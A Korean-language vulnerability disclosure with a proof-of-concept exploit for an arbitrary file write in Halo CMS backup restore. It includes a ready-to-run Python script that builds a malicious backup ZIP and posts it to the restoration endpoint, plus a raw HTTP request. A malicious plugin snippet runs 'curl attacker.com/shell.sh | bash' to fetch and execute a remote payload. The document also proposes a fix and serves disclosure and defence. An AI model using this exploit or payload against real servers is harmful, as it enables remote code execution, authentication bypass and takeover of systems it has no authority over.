
Halo CMS 백업 복원의 임의 파일 쓰기 취약점에 대한 개념 증명 익스플로잇으로, 플러그인 JAR 교체를 통한 RCE 또는 인증 우회를 가능하게 합니다.
Halo CMS 2.25.4 이하 버전의 백업 복원 기능에 치명적인 임의 파일 쓰기 취약점이 존재합니다. MigrationServiceImpl.java의 restoreWorkdir() 메서드는 사용자가 제공한 백업 아카이브의 workdir/ 디렉터리를 파일 유형 검증, 경로 탐색 보호, 심볼릭 링크 검사 없이 Halo 애플리케이션의 작업 디렉터리(~/.halo2/)로 직접 복사합니다. 백업 관리 권한이 있는 인증된 공격자는 workdir/ 디렉터리에 임의의 파일이 포함된 악성 백업 ZIP 파일을 제작할 수 있으며, 복원 시 해당 파일이 서버의 작업 디렉터리에 기록되어 플러그인 JAR 교체를 통한 원격 코드 실행(RCE) 또는 RSA 키 교체를 통한 인증 우회로 이어질 수 있습니다.
CVSS v3.1 점수: 8.8 (높음)
CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (파일 이름 또는 경로의 외부 제어)
취약점은 MigrationServiceImpl.java의 restoreWorkdir() 메서드(230-243행)에 있습니다:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // 취약한 라인
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
copyRecursively() 메서드(Spring의 FileSystemUtils)는 다음 검사 없이 재귀적 복사를 수행합니다:
.. 시퀀스에 대한 검사 없음취약점은 백업 복원 엔드포인트를 통해 트리거됩니다:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
복원 프로세스는 다음 순서로 진행됩니다:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → ZIP을 임시 디렉터리로 추출 │
│ 2. restoreExtensions() → extensions.data 복원 │
│ 3. restoreWorkdir() → workdir/를 ~/.halo2/로 복사 │
│ ↑ 임의 파일이 작업 디렉터리에 기록됨 │
└─────────────────────────────────────────────────────────────┘
악성 백업 ZIP 파일에는 다음이 포함되어야 합니다:
malicious-backup.zip
├── extensions.data # 필수: 비어 있거나 유효한 JSONL 포함 가능
└── workdir/ # 필수: 내용이 ~/.halo2/로 복사됨
├── PWNED_BY_POC.txt # 개념 증명 마커 파일
├── plugins/ # RCE용 플러그인 JAR
│ └── evil-plugin.jar # 악성 플러그인
└── keys/ # 인증 우회용 RSA 키
├── pat_id_rsa # 악성 개인 키
└── pat_id_rsa.pub # 악성 공개 키
extensions.data 파일은 restoreExtensions()가 성공하기 위해 유효해야 합니다. 유효한 형식은 다음과 같습니다:
빈 파일: (빈 내용)
빈 줄: \n (줄바꿈만)
유효한 JSONL: 줄마다 하나의 ExtensionStore 객체:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
여기서 data는 base64로 인코딩된 콘텐츠입니다.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# 빈 extensions.data (restoreExtensions 검증 통과)
zf.writestr('extensions.data', '\n')
# ~/.halo2/에 기록할 임의 파일
zf.writestr('workdir/PWNED_BY_POC.txt',
'Arbitrary file write confirmed!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
프론트엔드 백업 관리 주소: http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<ZIP 파일 바이너리 내용>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# Halo 서버에서
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/에 모든 파일을 기록할 수 있습니다| 공격 벡터 | 대상 파일 | 영향 | 심각도 |
|---|---|---|---|
| 플러그인 JAR 교체 | ~/.halo2/plugins/*.jar | 원격 코드 실행 | 치명적 |
| RSA 키 교체 | ~/.halo2/keys/pat_id_rsa | 인증 우회 | 치명적 |
| 테마 교체 | ~/.halo2/themes/* | 저장형 XSS | 높음 |
| 설정 덮어쓰기 | ~/.halo2/*.yaml | 보안 제어 우회 | 높음 |
공격자는 합법적인 플러그인 JAR를 다음을 포함한 악성 JAR로 교체할 수 있습니다:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// 임의 명령 실행
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
플러그인이 로드되면 악성 코드가 Halo 프로세스의 권한으로 실행됩니다.
#!/usr/bin/env python3
"""
Halo CMS 백업 복원 임의 파일 쓰기 PoC
취약점: 백업 복원 임의 파일 쓰기
CVSS: 8.8 (높음)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Halo backup restore arbitrary file write confirmed!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Status: {r.status_code}")
print(f"Response: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] SUCCESS! 확인: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# PoC 실행
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# Halo 서버에서
cat ~/.halo2/PWNED_BY_POC.txt
restoreWorkdir() 메서드에 검증 추가:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// 경로 탐색 검증
checkDirectoryTraversal(backupRoot, workdir);
// 심볼릭 링크 검증
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Symbolic links not allowed");
}
return FileVisitResult.CONTINUE;
}
});
// 검증 후 복사
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java이 취약점 공개는 보안 연구 목적으로만 제공됩니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다. 취약점 테스트 전에 항상 적절한 승인을 받으십시오.